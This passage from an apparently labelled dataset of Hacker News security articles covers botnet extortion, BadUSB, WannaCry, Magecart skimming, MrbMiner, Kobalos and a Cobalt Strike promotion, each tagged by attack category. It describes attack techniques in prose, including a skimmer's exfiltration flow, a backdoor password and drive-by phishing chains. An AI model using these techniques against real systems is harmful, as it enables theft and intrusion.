We also appreciate U.S. government efforts to combat cyber crimes. A month ago, FBI and Europol also took down the GameOver Zeus botnet that have stolen more than $100 million from banks, businesses and consumers worldwide.

",Cyber_Attack
"Hacker threatens to sell data of 3.7 Million Israeli Bank Customers, demands extortion money in Bitcoin",https://thehackernews.com/2013/12/hacker-Israeli-Bank-botnet-malware-extortion-bitcoin.html,"Data breaches and security incidents are a constant in the headlines these days. Hackers and cyber criminals are motivated by status or money and finding new innovative and more creative attacks to achieve this.

One of them are, Digital Bank robbery - where the thieves didn't need masks and guns to pull off the job, all they need are - Hacking Skills, a computer and the Internet. Another way is Cyber extortion - threat of attack against an enterprise or a bank, coupled with a demand for money to avert or stop the attack.
According to Haaretz news, A Hacker - who is the operator of a biggest botnet malware network in the Israel, has threatens 3 major Israeli banks, i.e. Israel Discount Bank, Bank Yahav and the First International Bank of Israel.
""Bank received an e-mail message threatening that unless they handed over a certain sum in Bitcoins by the end of next week, a list of customers' details would be given to hostile elements.""
Banks database, network and websites were not breached in this case, rather the hacker claimed that he holds a huge financial trojan botnet network in Israel that have already infected millions of systems across the nation and collected a massive dump of stolen personal information, passwords, banking information and credit card numbers of 3.7 Million users.

The hacker has demanded the payoff in Bitcoin, a untraceable virtual currency, perfect for blackmailers and cyber criminals. Bitcoin is not backed by any central bank or government and can be transferred ""peer to peer"" between any two people anywhere.

Banks declined to comment on the report and immediately reported the threat to the Israel Police. According to the source, some of them do not see the threat as serious. Bank of Israel held a meeting on Tuesday on the issue, we will update you soon about their next step with a new article.

Cyber attacks are becoming more and more advanced and sophisticated, more or less any company in the world is on the list of targets to rob. You should keep updating your knowledge about the cyber world to Stay Safe from all threats.

",Cyber_Attack
Chinese Hacker Cracks Hundreds of Gmail Accounts of U.S. & Asia,https://thehackernews.com/2011/06/chinese-hacker-cracks-hundreds-of-gmail.html,"Chinese Hacker Cracks Hundreds of Gmail Accounts of U.S. & Asia


Hackers around the world are gaining more attention than usual in the last few months. Now Google has added another announcement to the pile that hundreds of Gmail accounts have been hacked recently.
Now, Google affirms that the problem doesn't rest with Gmail security but rather this scheme was a result of phishing and malware.

Google spilled the details on Wednesday via its official blog:
Through the strength of our cloud-based security and abuse detection systems*, we recently uncovered a campaign to collect user passwords, likely through phishing. This campaign, which appears to originate from Jinan, China, affected what seem to be the personal Gmail accounts of hundreds of users including, among others, senior U.S. government officials, Chinese political activists, officials in several Asian countries (predominantly South Korea), military personnel and journalists.
The goal of this effort seems to have been to monitor the contents of these users' emails, with the perpetrators apparently using stolen passwords to change peoples' forwarding and delegation settings.


Gmail users affected by this security mishap should have already been notified. Google's security team outlined a number of steps that Gmail users can take to protect themselves, which should only take about ""ten minutes.""

Google recommended the following:

Use two-factor authentication;
Choose a strong password;
Watch for suspicious activity warnings in your Gmail account;
Check your settings for odd forwarding.

",Malware
BadUSB Malware Code Released — Turn USB Drives Into Undetectable CyberWeapons,https://thehackernews.com/2014/10/badusb-malware-code-released-turn-usb.html,"Once again USB has come up as a major threat to a vast number of users who use USB drives – including USB sticks and keyboards. Security researchers have released a bunch of hacking tools that can be used to convert USB drive into silent malware installer.

This vulnerability has come about to be known as ""BadUSB"", whose source code has been published by the researchers on the open source code hosting website Github, demanding manufacturers either to beef up protections for USB flash drive firmware and fix the problem or leave hundreds of millions of users vulnerable to the attack.

The code released by researchers Adam Caudill and Brandon Wilson has capability to spread itself by hiding in the firmware meant to control the ways in which USB devices connect to computers. The hack utilizes the security flaw in the USB that allows an attacker to insert malicious code into their firmware.

But Wait! What this means is that this critical vulnerability is now available online for hackers, cyber criminals and everybody to use so as to infect as many computers as they want.

SOURCE CODE AVAILABLE ONLINE TO EVERYBODY
In a talk at the Derbycon Hacker Conference in Louisville last week, the duo were able to reverse engineer the USB firmware, infect it with their own code, and essentially hijack the associated device. The researchers also underlined the danger of the Bad USB hack by going in-depth of the code.

The security hole was first revealed by researchers from Berlin-based Security Research Labs (SRLabs in Germany) at the Black Hat security conference in Las Vegas two months ago, and here you can watch the video of their presentation. The German researchers didn't publish their source code because they thought it to be dangerous and too hard to patch.
""We really hope that releasing this will push device manufactures to insist on signed firmware updates, and that Phison will add support for signed updates to all of the controllers it sells,"" Caudill said in a blog post. ""Phison isn't the only player here, though they are the most common—I'd love to see them take the lead in improving security for these devices.""
THE GOOD NEWS AND THE BAD
The good news is that this vulnerability presents in only one USB manufacturer Phison electronics, a Taiwanese electronics company. But the bad side of it is that Phison USB sticks can infect any given device they are plugged into, and the company has not yet revealed who it manufactures USB sticks for. This is the fact it is still unclear as to how widespread the problem may be at the moment.

A Phison USB stick can infect any type of computer, but it isn't clear if its able to infect any other USB device that is plugged into them afterwards or not. However, Phison controllers are found in a very large number of USB thumb drives available on the market.

BadUSB VULNERABILITY IS UNPATCHABLE
The flaw in USB basically modifies the firmware of USB devices, which can easily be done from inside the operating system, and hides the malware in USB devices in a way that it become almost impossible to detect it. The flaw goes worst when complete formatting or deleting the contents of a USB device wouldn't vanish the malicious code, since its embedded in the firmware.

According to Wired, the vulnerability is ""practically unpatchable"" because it exploits ""the very way that USB is designed."" Once infected, each USB device will infect anything it's connected to, or any new USB stick coming into it.

IMPACT OF BadUSB ATTACK
Once compromised, the USB devices can reportedly:
enter keystrokes
alter files
affect Internet activity
infect other systems, as well, and then spread to additional USB devices
spoofs a network card and change the computer's DNS setting to redirect traffic
emulates a keyboard and issue commands on behalf of the logged-in user, for example to exfiltrate files or install malware
During their Derbycon demonstration, the two researchers replicated the emulated keyboard attack, but also showed how to create a hidden partition on thumb drives to defeat forensic tools and how to bypass the password for protected partitions on some USB drives that provide such a feature.

MANUFACTURER DENIES THE PROBLEM
Security researchers tried to contact Phison electronics, the manufacturer of the vulnerable USB devices, but the company ""repeatedly denied that the attack was possible.""

",Malware
WannaCry Coding Mistakes Can Help Files Recovery Even After Infection,https://thehackernews.com/2017/06/wannacry-ransomware-unlock-files.html,"Last month WannaCry ransomware hit more than 300,000 PCs across the world within just 72 hours by using its self-spreading capabilities to infect vulnerable Windows PCs, particularly those using vulnerable versions of the OS, within the same network.

But that doesn't mean WannaCry was a high-quality piece of ransomware.

Security researchers have recently discovered some programming errors in the code of the WannaCrypt ransomware worm that might allow victims to restore their locked files without paying for any decryption key.

After deeply analysing the WannaCry code, security company at Kaspersky Lab found that the ransomware was full of mistakes that could allow some of its victims to restore their files with publicly available free recovery tools or even with simple commands.

Anton Ivanov, senior malware analyst at Kaspersky Lab, along with colleagues Fedor Sinitsyn and Orkhan Mamedov, detailed three critical errors made by WannaCry developers that could allow sysadmins to restore potentially lost files.

According to researchers, the issues reside in the way WannaCry ransomware deletes original files after encryption. In general, the malware first renames files to change their extension to "".WNCRYT,"" encrypt them and then delete the original files.

Recovering Read-only Files
Since it is not at all possible for malicious software to directly encrypt or modify read-only files, WannaCry copies the files and creates their encrypted copies.

While the original files remain untouched but are given a 'hidden' attribute, getting the original data back simply requires victims to restore their normal attributes.

That wasn't the only mistake within the WannaCry's code, as in some cases, the malware fails to delete the files after encrypting them properly.

Recovering Files from the System Drive (i.e. C drive)

Researchers have said that files stored on the important folders, like Desktop or Documents folder, can not be recovered without the decryption key because WannaCry has been designed to overwrite original files with random data before removal.

However, researchers noticed that other files stored outside of important folders on the system drive could be restored from the temporary folder using a data recovery software.
""...the original file will be moved to %TEMP%\%d.WNCRYT (where %d denotes a numeric value). These files contain the original data and are not overwritten,"" researchers said.

Recovering Files from the Non-System Drives
Researchers also found that for non-system drives, the WannaCry Ransomware creates a hidden '$RECYCLE' folder and moves original files into this directory after encryption. You can recover those files just by unhiding the '$RECYCLE' folder.

Also, due to ""synchronization errors"" in WannaCry's code, in many cases the original files remain in the same directory, making it possible for victims to restore insecurely deleted files using available data recovery software.

Programming Blunders: The New Hope for WannaCry Victims

These programming errors in the code of WannaCry offer hope to many victims.
""If you were infected with WannaCry ransomware there is a good possibility that you will be able to restore a lot of the files on the affected computer,"" Kaspersky Lab wrote in a blog post published Thursday. ""The code quality is very low.""
""To restore files, you can use the free utilities available for data recovery.""
The recovery of files infected by WannaCry was first made possible by French researchers Adrien Guinet and Benjamin Delpy, who made a free WannaCry decryption tool that works on Windows XP, Windows 7, Windows Vista, Windows Server 2003 and Server 2008.

It's been almost a month since WannaCry epidemic hit computers worldwide, but the hackers behind the self-spread ransomware, which leverages leaked NSA's Windows SMB exploits EternalBlue and DoublePulsar, have not been identified yet.

While police and cyber security firms continue to search for answers surrounding the origins of the WannaCry campaign, Dark web intelligence firm Flashpoint recently indicated the perpetrators might be Chinese, based on its linguistic analysis.

",Malware
Distributed Red Team Operations with Cobalt Strike,https://thehackernews.com/2013/02/distributed-red-team-operations-with.html,"What if you could easily host malicious websites, send phishing emails, and manage compromised hosts across diverse internet addresses?
This week's Cobalt Strike adds the ability to manage multiple attack servers at once.

Here's how it works:
When you connect to two or more servers, Cobalt Strike will show a switch bar with buttons for each server at the bottom of your window. Click a button to make that server active. It's a lot like using tabs to switch between pages in a web browser.


To make use of multiple servers, designate a role for each one. Assign names to each server's button to easily remember its role.

Dumbly connecting to multiple servers isn't very exciting. The fun comes when you seamlessly use Cobalt Strike features between servers. For example:

Designate one server for phishing and another for reconnaissance. Go to the reconnaissance server, setup the system profiler website. Use the phishing tool to deliver the reconnaissance website through the phishing server. This is easy to do because Cobalt Strike's phishing dialog lets you embed sites setup in any server you're connected to.
Web drive-by exploits are especially interesting. Clone a website and embed an exploit on one server. Set the embedded exploit to reference a Beacon listener on another server. When a vulnerable user visits this site, their system will start beaconing to the beacon server.
This is trivial to do because Cobalt Strike will let you setup an attack that references a listener on any server you're connected to.

Distributed operations is a data headache for red teams. Each penetration testing server is a silo with a limited picture of the engagement. Cobalt Strike makes great strides to solve this problem. When you ask for a report, Cobalt Strike queries each server you're connected to, combines the data, and generates one report. A phishing attack sent from one server that sends users to a malicious website on another server will show in one report with all of the information properly cross-referenced.

Are you curious what all of this looks like? Watch the video:
Cobalt Strike is available Here. A 21-day trial is available. Press the Download link and provide your email address. The latest Armitage can connect to multiple servers too. This feature is more interesting in the context of Cobalt Strike because more features are usable across server instances.

",Vulnerability
Chinese Hackers Exploited Latest SolarWinds 0-Day in Targeted Attacks,https://thehackernews.com/2021/07/chinese-hackers-exploit-latest.html,"Microsoft on Tuesday disclosed that the latest string of attacks targeting SolarWinds Serv-U managed file transfer service with a now-patched remote code execution (RCE) exploit is the handiwork of a Chinese threat actor dubbed ""DEV-0322.""
The revelation comes days after the Texas-based IT monitoring software maker issued fixes for the flaw that could enable adversaries to remotely run arbitrary code with privileges, allowing them to perform actions like install and run malicious payloads or view and alter sensitive data.
Tracked as CVE-2021-35211, the RCE flaw resides in Serv-U's implementation of the Secure Shell (SSH) protocol. While it was previously revealed that the attacks were limited in scope, SolarWinds said it's ""unaware of the identity of the potentially affected customers.""
Attributing the intrusions with high confidence to DEV-0322 (short for ""Development Group 0322"") based on observed victimology, tactics, and procedures, Microsoft Threat Intelligence Center (MSTIC) said the adversary is known for targeting entities in the U.S. Defense Industrial Base Sector and software companies.
""This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure,"" according to MSTIC, which discovered the zero-day after it detected as many as six anomalous malicious processes being spawned from the main Serv-U process, suggesting a compromise.
The development also marks the second time a China-based hacking group has exploited vulnerabilities in SolarWinds software as a fertile field for targeted attacks against corporate networks.
Back in December 2020, Microsoft disclosed that a separate espionage group may have been taking advantage of the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on infected systems. The intrusions have since been attributed to a China-linked threat actor called Spiral.
Additional indicators of compromise associated with the attack can be accessed from SolarWinds' revised advisory here.
Update: This article has been updated to reflect that attackers didn't exploit the SolarWinds flaw to target defense and software companies. As of now, no information has been provided on who was attacked during this zero-day attack.

",Cyber_Attack
Malware for xbox Kinect created by 15 years old Indian researchers,https://thehackernews.com/2011/10/malware-for-xbox-kinect-created-by-15.html,"Malware for xbox Kinect created by 15 years old Indian researchers


Indian researchers from MalCon have created a malware that utlizes Microsoft Kinect to secretly capture pictures and upload to a picasa account.

A 15year old Indian security researcher 'Shantanu Gawde' from MalCon Research has created a malware that utilizes the Microsoft xbox kinect controller.
Kinect for Xbox 360, or simply Kinect, is a motion sensing input device by Microsoft for the Xbox 360 video game console. With over 10 million devices sold till date, the kinect holds the Guiness book for world record for the fastest selling consumer electronics device - and is exactly the reason why the malware is a concern.

In recent months, there have been a number of innovative kinect hacks that make use of the kinect using both Open source drivers and the Kinect SDK. The malware, code-named 'gawde' after its creators name, works on Windows 7 to secretly capture pictures of the victim / surroundings from a connected Kinect device and uploads them to a picasa account.

Rajshekhar Murthy, Director at ISAC, (Information Sharing and Anaysis Center), a scientifc non-profit body that holds the International Malware Conference, MalCon said. ""We believe that in coming years, a lot of windows based applications will be developed for Kinect and the device will gain further immense popularity and acceptance- and from a perpective of an attacker, such a popular device can be an exciting target for visual and audio intelligence. At MalCon research labs, we promote proactive security research and the malware utilizing Kinect is only a proof of concept. ""

The kienct malware 'gawde' goes a step ahead and even uses voice recognition to execute a program based on keyword, without the knowledge of the victim. The malware PoC will be demonstrated at the upcoming MalCon 2011 in Mumbai, India.

",Malware
Major VBulletin based websites are vulnerable to Hackers; Pakistani forums defaced by Indian Hackers,https://thehackernews.com/2013/09/major-vbulletin-based-websites-are.html,"vBulletin is a publishing suite that allows users to create and publish a variety of content, including: forums, blogs, and polls.

If you currently use an older version of vBulletin on your website, you might be opening up your site to an attack as some serious security vulnerabilities, which allows hackers to access your hosting admin panel.
Two Indian Hackers, going by virtual name Ne0-h4ck3r & Google-warri0r has developed an exploit of known vBulletin vulnerability, that can be used to add a user remotely to vBulletin customer panel with admin privileges.
According to Hackers, vBulletin versions 4.x.x.x are affected to their exploit. It isn't quite clear the extent of the exploit, however, hundreds of major websites on vBulletin have been reported to be affected.

Here's a list of some domains that have been used so far in this attack:
https://usasexguide.info/
https://www.desironak.com/
https://www.pakistanipoint.com
https://www.cssexam.com/forum.php
https://www.bankers.pk/
https://voiceofkarachi.com/
https://www.pakguns.com/
Hackers targeting Pakistani forums, as well as some USA based forums also i.e. Below you can see the database from usasexguide.info forum having thousands of registered users, was hacked by team recently.

vBulletin users are advised to upgrade to the latest version to fix the issue.

",Vulnerability
XSS vulnerability in 4shared and NATO Multimedia Library Exposed,https://thehackernews.com/2012/11/xss-vulnerability-in-4shared-and-nato.html,"Inj3ct0r Team found cross site scripting vulnerability in 4shared , a file sharing site. Vulnerability link is exposed in a note available at their website.

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Also same hackers claiming to get access over a private server of NATO Library and expose the links online. Website titled ""NATO Multimedia Library Online Catalog"".

Inj3ct0r member told The Hacker News, ""We found another secret NATO server. We received a root on the server and gave the world the hidden database to NATO personnel. Now everyone can look for a secret document.""

These three servers are available online without authorization, but its not confirm that servers got hacked or not.

",Vulnerability
Network Enabled Samsung TVs vulnerable to Denial of Service Attack,https://thehackernews.com/2013/07/network-enabled-samsung-tvs-vulnerable.html,"A vulnerability in the latest firmware of the network-enabled Samsung TV models allows potential attackers to crash the vulnerable devices using Denial of Service (DoS) Attack, according to security researcher Malik Mesellem.
According to Malik, The web server (DMCRUIS/0.1) installed on Smart TVs on port TCP/5600 can be crashed to reboot the device, if attacker will send a long HTTP GET request on TV's ip address.

Malik successfully tested the exploit on his Samsung PS50C7700 plasma TV, as shown in the video demonstration below:


In the Demo, The TV is connected by ethernet cable to a home network, and after running the exploit against TV's ip address - A few seconds later, the TV would restart and repeat the process.

This means that a potential attacker only needs to obtain access to the LAN that the TV has joined, in order to attack it. This can be done either by breaking into a wireless access point or by infecting a computer on the same network with malware.

Malik discovered the flaw on July 21st, 2013, published a proof-of-concept exploit on his website and vulnerability dubbed CVE-2013-4890. I think, now we need firewall or antivirus protection for our television set too.

Samsung did not immediately return a request for comment sent via email.

",Vulnerability
Critical Flaw in GoAhead Web Server Could Affect Wide Range of IoT Devices,https://thehackernews.com/2019/12/goahead-web-server-hacking.html,"Cybersecurity researchers today uncovered details of two new vulnerabilities in the GoAhead web server software, a tiny application widely embedded in hundreds of millions of Internet-connected smart devices.

One of the two vulnerabilities, assigned as CVE-2019-5096, is a critical code execution flaw that can be exploited by attackers to execute malicious code on vulnerable devices and take control over them.

The first vulnerability resides in the way multi-part/form-data requests are processed within the base GoAhead web server application, affecting GoAhead Web Server versions v5.0.1, v.4.1.1, and v3.6.5.

According to the researchers at Cisco Talos, while processing a specially crafted HTTP request, an attacker exploiting the vulnerability can cause use-after-free condition on the server and corrupt heap structures, leading to code execution attacks.

The second vulnerability, assigned as CVE-2019-5097, also resides in the same component of the GoAhead Web Server and can be exploited in the same way, but this one leads to denial-of-service attacks.

""A specially crafted HTTP request can lead to an infinite loop in the process (resulting in 100 percent CPU utilization). The request can be unauthenticated in the form of GET or POST requests and does not require the requested resource to exist on the server,"" the researchers say.

However, it's not necessary that both vulnerabilities could be exploited in all embedded devices running the vulnerable versions of the GoAhead web server.

That's because, according to the researchers, since GoAhead is a customizable web application framework, companies implement the application according to their environment and requirements, due to which the flaws ""may not be reachable on all builds.""

""Additionally, pages that require authentication do not allow access to the vulnerability without authentication as the authentication is handled before reaching the upload handler,"" the researchers explain.

Talos researchers reported the two vulnerabilities to EmbedThis, the developer of the GoAhead Web Server application, in late August this year, and the vendor addressed the issues and released security patches two weeks ago.
",Vulnerability
MrbMiner Crypto-Mining Malware Links to Iranian Software Company,https://thehackernews.com/2021/01/mrbminer-crypto-mining-malware-links-to.html,"A relatively new crypto-mining malware that surfaced last year and infected thousands of Microsoft SQL Server (MSSQL) databases has now been linked to a small software development company based in Iran.
The attribution was made possible due to an operational security oversight, said researchers from cybersecurity firm Sophos, that led to the company's name inadvertently making its way into the cryptominer code.
First documented by Chinese tech giant Tencent last September, MrbMiner was found to target internet-facing MSSQL servers with the goal of installing a cryptominer, which hijacks the processing power of the systems to mine Monero and funnel them into accounts controlled by the attackers.
The name ""MrbMiner"" comes after one of the domains used by the group to host their malicious mining software.
""In many ways, MrbMiner's operations appear typical of most cryptominer attacks we've seen targeting internet-facing servers,"" said Gabor Szappanos, threat research director at SophosLabs.
""The difference here is that the attacker appears to have thrown caution to the wind when it comes to concealing their identity. Many of the records relating to the miner's configuration, its domains and IP addresses, signpost to a single point of origin: a small software company based in Iran.""
MrbMiner sets about its task by carrying out brute-force attacks against the MSSQL server's admin account with various combinations of weak passwords.
Upon gaining access, a Trojan called ""assm.exe"" is downloaded to establish persistence, add a backdoor account for future access (username: Default, password: @fg125kjnhn987), and retrieve the Monero (XMR) cryptocurrency miner payload that's run on the targeted server.
Now according to Sophos, these payloads — called by various names such as sys.dll, agentx.dll, and hostx.dll, were deliberately-misnamed ZIP files, each of which contained the miner binary and a configuration file, among others.
Cryptojacking attacks are typically harder to attribute given their anonymous nature, but with MrbMiner, it appears that the attackers made the mistake of hardcoding the payload location and the command-and-control (C2) address into the downloader.
One of the domains in question, ""vihansoft[.]ir,"" was not only registered to the Iranian software development company but the compiled miner binary included in the payload left telltale signs that connected the malware to a now-shuttered GitHub account that was used to host it.
While database servers, owing to their powerful processing capabilities, are a lucrative target for cybercriminals looking to distribute cryptocurrency miners, the development adds to growing concerns that heavily-sanctioned countries like North Korea and Iran are using cryptocurrency as a means to evade penalties designed to isolate them and to facilitate illicit activities.
""Cryptojacking is a silent and invisible threat that is easy to implement and very difficult to detect,"" Szappanos said. ""Further, once a system has been compromised it presents an open door for other threats, such as ransomware.""
""It is therefore important to stop cryptojacking in its tracks. Look out for signs such as a reduction in computer speed and performance, increased electricity use, devices overheating and increased demands on the CPU.""

",Cyber_Attack
Hackers infect e-commerce sites by compromising their advertising partner,https://thehackernews.com/2019/01/magecart-hacking-credit-cards.html,"Magecart strikes again, one of the most notorious hacking groups specializes in stealing credit card details from poorly-secured e-commerce websites.

According to security researchers from RiskIQ and Trend Micro, cybercriminals of a new subgroup of Magecart, labeled as ""Magecart Group 12,"" recently successfully compromised nearly 277 e-commerce websites by using supply-chain attacks.

Magecart is the same group of digital credit card skimmers which made headlines last year for carrying out attacks against some big businesses including Ticketmaster, British Airways, and Newegg.

Typically, the Magecart hackers compromise e-commerce sites and insert malicious JavaScript code into their checkout pages that silently captures payment information of customers making purchasing on the sites and then send it to the attacker's remote server.

However, the researchers from the two firms today revealed that instead of directly compromising targeted websites, the Magecart Group 12 hacked and inserted its skimming code into a third-party JavaScript library, enabling all websites using that script to load the malicious code.
The third-party library targeted by Magecart Group 12 is by a French online advertising company, called Adverline, whose service is being used by hundreds of European e-commerce websites to display ads.
""At the time of our research, the websites embedded with Adverline's re-targeting script loaded Magecart Group 12's skimming code, which, in turn, skims payment information entered on web pages then sends it to its remote server,"" Trend Micro says.
What's more? Security researcher Yonathan Klijnsma at RiskIQ discovered that the skimmer code for MageCart Group 12 protects itself from de-obfuscation and analysis by performing an integrity check twice on itself.
""Magecart Group 12 uses a skimming toolkit that employs two obfuscated scripts. The first script is mostly for anti-reversing while the second script is the main data-skimming code,"" the researchers say.
Upon infection, the data-skimming code first checks if it is executed on an appropriate shopping cart web page. It does so by detecting related strings in the URL like 'checkout,' 'billing,' 'purchase,' 'panier,' which means 'basket' in French, and 'kasse,' which means 'checkout' in German.
Once it detects any of these strings in the URL, the script will start performing the skimming behavior by copying both the form name and values keyed in by the user on the webpage's typing form.

The stolen payment and billing data are then stored in the JavaScript LocalStorage with the key name 'Cache' in Base64 format. To specify individual victims, the code also generates a random number which it reserves into LocalStorage with key name E-tag.
""A JavaScript event 'unload' is triggered whenever the user closes or refreshes the payment web-page. The script then sends the skimmed payment data, the random number (E-tag), and the e-commerce website's domain to a remote server through HTTP POST, with Base64 coding on the entire, sent date,"" Trend Micro researchers explain.
The researchers also published the IOCs associated with this Group 12's operation, which includes the domains the skimmers used for injecting their code into the affected websites and receiving the stolen payment information.

Upon contacting, Adverline patched the issue immediately and removed the malicious code from its JavaScript library.
",Cyber_Attack
Instagram‌ ‌Bug Allowed Anyone to View Private Accounts Without Following Them,https://thehackernews.com/2021/06/instagram-bug-allowed-anyone-to-view.html,"Instagram has patched a new flaw that allowed anyone to view archived posts and stories posted by private accounts without having to follow them.
""This bug could have allowed a malicious user to view targeted media on Instagram,"" security researcher Mayur Fartade said in a Medium post today. ""An attacker could have been able to see details of private/archived posts, stories, reels, IGTV without following the user using Media ID.""
Fartade disclosed the issue to Facebook's security team on April 16, 2021, following which the shortcoming was patched on June 15. He was also awarded $30,000 as part of the company's bug bounty program.
Although the attack requires knowing the media ID associated with an image, video, or album, by brute-forcing the identifiers, Fartade demonstrated that it was possible to craft a POST request to a GraphQL endpoint and retrieve sensitive data.
As a consequence of the flaw, details such as like/comment/save count, display_url, and image.uri corresponding to the media ID could be extracted even without following the targeted user, alongside exposing the Facebook Page linked to an Instagram account.
Fartade said he also discovered a second endpoint on April 23 that revealed the same set of information. Facebook has since addressed both the leaky endpoints.

",Vulnerability
CryptorBit Ransomware that scam for Ransom money with fake Decryption Keys,https://thehackernews.com/2014/01/cryptorbit-ransoware-that-scam-for.html,"We are continuously keeping our eye on new variants of the widely spread Ransomware family like Cryptolocker, Prison Locker, Copycat and Locker which encrypts your files and ask for a random amount to decrypt it.

If infected by such malware, to be very honest, there is no hope for recovering your documents without paying a ransom amount to the cyber criminals.

Online users are now facing another similar ransomware called 'CryptorBit', (Virustotal report) first spotted on September 2013. It is not a variant of Cryptolocker but it does exactly the same thing i.e. Encrypt all the files on the Hard Disk.

CryptorBit is an infection that activates by clicking links in a spam message or malicious email, or websites while browsing the web, or by opening an attachment in an email from a malicious source.

Once your system gets infected by the CryptorBit, it will encrypt your files and hold them until a ransom of $50 - $500 or more is not paid. It will display a warning for you i.e. ""YOUR PERSONAL FILES ARE ENCYPTED"", following a warning message i.e. ""All files including video, photos and documents, etc. on your computer are encrypted"".

The affected file types include Word files, Excel files, Pictures, Music, Movies, Quickbooks files, PDFs and all other data files on your system.

The Warning note on the screen instructs the victim to download the Tor browser and access an onion-based hidden website for paying the ransom money. In addition, it may threaten you to pay the ransom within 24 hours. Otherwise, it will damage all of your personal and system files completely.

SCAM-WARE
CryptorBit Malware is totally a scam designed by cyber criminals, because even after paying the ransom amount it will not decrypt your files, sounds scary but it's true. It forces users to pay for the fake private key to decrypt files.
CryptorBit not even fraud your money but also cause damage to your PC and Interfere with your privacy.

The most common windows folder location where the Cryptorbit virus lives - ""%AppData%"" and can be easily removed using Antivirus tools; but unlike traditional Ransomware, you can decrypt your files using system utility 'System Restore'.

The spam emails may appear to be sent from people you know, so it's very important for users to be careful while reading such malicious emails and if it doesn't look right, it's probably not.

The best protection against these infections is a good backup. We strongly advise people to keep their important files on their servers, and not on their desktops or local folders.

",Malware
Finland's Ministry of Foreign Affairs networks hit by sophisticated Malware attack,https://thehackernews.com/2013/11/Finland-Ministry-Foreign-Affairs-malware-espionage-red-october.html,"Finnish commercial broadcaster MTV3 reports that the Finnish Ministry of Foreign Affair networks has been targeted in a four-year-long cyber espionage operation.

Finland's foreign minister said, ""I can confirm there has been a severe and large hacking in the ministry's data network,""

A large scale spying attack targeted the communications between Finland and the European Union using a malware, similar to, and more sophisticated than Red October. The breach was uncovered during the early part of this year.
MTV3 also mentioned that the breach was not discovered by the Finns themselves, but from a foreign tip-off reported to CERT.FI. Further the Finnish authorities kept the information under wraps for continuing the forensics.

There are indications that information with the lowest level security classification has been compromised, he said.

In January, 2013, we had reported about Red October Cyber-espionage operation that targeted the computer networks of various international diplomatic service agencies. According security experts from Kaspersky Lab, the cyber-espionage campaign was started since 2007 and is still active.

It is possible that Red October has been just one campaign from the same actor, and there could be others that haven't been discovered yet.

According to experts, Red October's exploits appear to have Chinese origins, whereas the malware modules may have a Russian background. So if this Finnish malware attack somewhere linked to Red October, then Russia and China are suspected of responsibility for the snooping.

Red October malware was sent via a spear-phishing email and has been tempting its targets into letting it exploit a number of relatively minor security vulnerabilities in programs such as Microsoft's Excel and Word, as well as poisoned PDFs and Java exploits.

Besides Finland, other countries could be the victim of the same attack. The Finnish Security Intelligence Service is investigating the matter.

",Vulnerability
Fake Flappy Bird App Planted by Hackers to Steal Photos from Device,https://thehackernews.com/2014/09/fake-flappy-bird-app-planted-by-hackers.html,"As far, you have probably heard about the biggest digital exposure of private and very personal nude photographs of as many as 100 female celebrities including Jenny McCarthy, Kristin Dunst, Mary E Winstead, and Oscar winner Lawrence and Kate Upton, that was surfaced on notorious bulletin-board 4chan, and anonymous image board AnonIB over the weekend.

It was believed that the group of hackers allegedly taken celebrities photos from their Apple iCloud backups after their iCloud accounts were compromised, but users of devices running Google's Android could have been targeted too.

A forum post on anonymous image board AnonIP shows that the group of hackers may have used a cloned Flappy Bird app to steal and collect the naked photos of females from their Android devices and then send them to remote servers.

Experts believe that the group may have been stealing and trading nude and very personal photos of more than 100 female celebrities for more than two years, gathered on the ""stolen"" forum on image board AnonIB.

The developer of fake Flappy Bird app took advantage of the user's ""carelessness"" of granting the permissions to Android apps.

The post on a hackers' forum, written in late July this year, was discovered by security consultant Nik Cubrilovic. It detailed how the supposed developer had developed a malware-ridden ""clone"" of Flappy Bird app for Android devices that would exploit app permissions granted during installation in an effort to steal the photos.
""I am a fucking genious [sic]… Hear me out. I.. modded… the app,"" the developer explained in the post. ""It now secretly downloads all of the phones pictures to my server when the game is running. Note: this app will only work for android,"" he added.
The developer want to release a copy of cloned Flappy Bird app on the Google's Play Store but he didn't want to risk his developer license, as the app violates Google play's terms. But, to solve the problem, he was searching for a second developer account, specifically created for the purpose of stealing pictures from infected Android devices.

He also asked for financial support from his fellow anons in order to make a second Google Play developer account and promises to ""post any wins [stolen photos] obtained in this thread."" A new developer licence cost $20.

All game is based on the users' negligence to check the permissions of mobile apps they granted without even knowing of the fact that any app is asking access to your device' stored photographs. It is extremely phishy, but many of you don't even pay attention to these details and accept those permissions blindly.

Flappy Bird, developed by a 29-year old, Dong Nguyen, was one of the top free gaming apps on Google's Play Store. But after the developer of Flappy Bird pulled the gaming app from both the Apple and Google app stores, it led to the creation of dozens and dozens of Flappy Bird clones, out of which many identified as malicious.

",Malware
A New Linux Malware Targeting High-Performance Computing Clusters,https://thehackernews.com/2021/02/a-new-linux-malware-targeting-high.html,"High-performance computing clusters belonging to university networks as well as servers associated with government agencies, endpoint security vendors, and internet service providers have been targeted by a newly discovered backdoor that gives attackers the ability to execute arbitrary commands on the systems remotely.
Cybersecurity firm ESET named the malware ""Kobalos"" — a nod to a ""mischievous creature"" of the same name from Greek mythology — for its ""tiny code size and many tricks.""
""Kobalos is a generic backdoor in the sense that it contains broad commands that don't reveal the intent of the attackers,"" researchers Marc-Etienne M. Léveillé and Ignacio Sanmillan said in a Tuesday analysis. ""In short, Kobalos grants remote access to the file system, provides the ability to spawn terminal sessions, and allows proxying connections to other Kobalos-infected servers.""
Besides tracing the malware back to attacks against a number of high-profile targets, ESET said the malware is capable of taking aim at Linux, FreeBSD, Solaris, and possibly AIX and Windows machines, with code references hinting at Windows 3.11 and Windows 95 legacy operating systems.
Kobalos infections are believed to have started in late 2019 and have since continued to remain active throughout 2020.
The initial compromise vector used to deploy the malware and the ultimate objective of the threat actor remains unclear as yet, but the presence of a trojanized OpenSSH client in one of the compromised systems alludes to the possibility that ""credential stealing could be one of the ways Kobalos propagates.""
No other malware artifacts were found on the systems, nor has there been any evidence that could potentially reveal the attackers' intent.
""We have not found any clues to indicate whether they steal confidential information, pursue monetary gain, or are after something else,"" the researchers said.
But what they did uncover shows the multi-platform malware harbors some unusual techniques, including features that could turn any compromised server into a command-and-control (C&C) server for other hosts compromised by Kobalos.
